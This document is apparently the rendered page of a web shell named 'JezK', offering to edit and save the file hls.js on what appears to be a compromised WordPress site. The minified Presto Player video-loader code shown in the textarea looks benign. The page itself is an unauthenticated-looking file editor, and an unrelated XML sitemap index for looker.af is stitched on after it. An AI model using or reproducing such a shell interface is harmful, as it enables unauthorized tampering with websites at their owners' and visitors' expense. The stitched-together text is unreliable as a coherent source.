
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: hls.js</h2><form method="post"><textarea name="file_content" rows="10" cols="50">import{a as PrestoPlayer}from&quot;./presto-player2.js&quot;;const loadHLS=({config:e,selector:t,src:o,preload:n})=&gt;new Promise((async(r,a)=&gt;{if(!window.Hls)for(;!window.hasOwnProperty(&quot;Hls&quot;);)await new Promise((e=&gt;setTimeout(e,50)));if(window.Hls.isSupported()){let a=![&quot;metadata&quot;,&quot;none&quot;].includes(n);wp?.blocks&amp;&amp;(a=!0);var l=new window.Hls(window?.wp?.hooks?.applyFilters?.(&quot;presto.hlsSettings&quot;,{autoStartLoad:a,capLevelToPlayerSize:!0}));return l.loadSource(o),l.on(window.Hls.Events.LEVEL_SWITCHED,((e,o)=&gt;{var n=t.closest(&quot;.presto-player__wrapper&quot;).querySelector(&quot;.plyr__menu__container [data-plyr=&#039;quality&#039;][value=&#039;0&#039;] span&quot;);l.autoLevelEnabled?n.innerHTML=`AUTO (${l.levels[o.level].height}p)`:n.innerHTML=&quot;AUTO&quot;})),void l.on(window.Hls.Events.MANIFEST_PARSED,(function(o,n){var a=l.levels.map((function(e){return e.height}));a.unshift(0);const s=(a||[]).findIndex((e=&gt;e===parseInt(window?.prestoPlayer?.hls_start_level)));l.startLevel=s?s-1:2,e.quality={default:0,options:a,forced:!0,onChange:function(e){0===e?prestoHLS.currentLevel=-1:prestoHLS.levels.forEach((function(t,o){t.height===e&amp;&amp;(console.log(&quot;Found quality match with &quot;+e),prestoHLS.currentLevel=o)}))}},l.attachMedia(t),window.prestoHLS=l;const i=new PrestoPlayer(t,{...e});i.hls=l;const p=()=&gt;{l.startLoad(-1),i.off(&quot;waiting&quot;,p)};return i.on(&quot;waiting&quot;,p),i.on(&quot;languagechange&quot;,(()=&gt;{setTimeout((()=&gt;l.subtitleTrack=i.currentTrack),50)})),r(i)}))}return t.canPlayType(&quot;application/vnd.apple.mpegurl&quot;),r(new PrestoPlayer(t,{...e}))}));export{loadHLS as default};</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
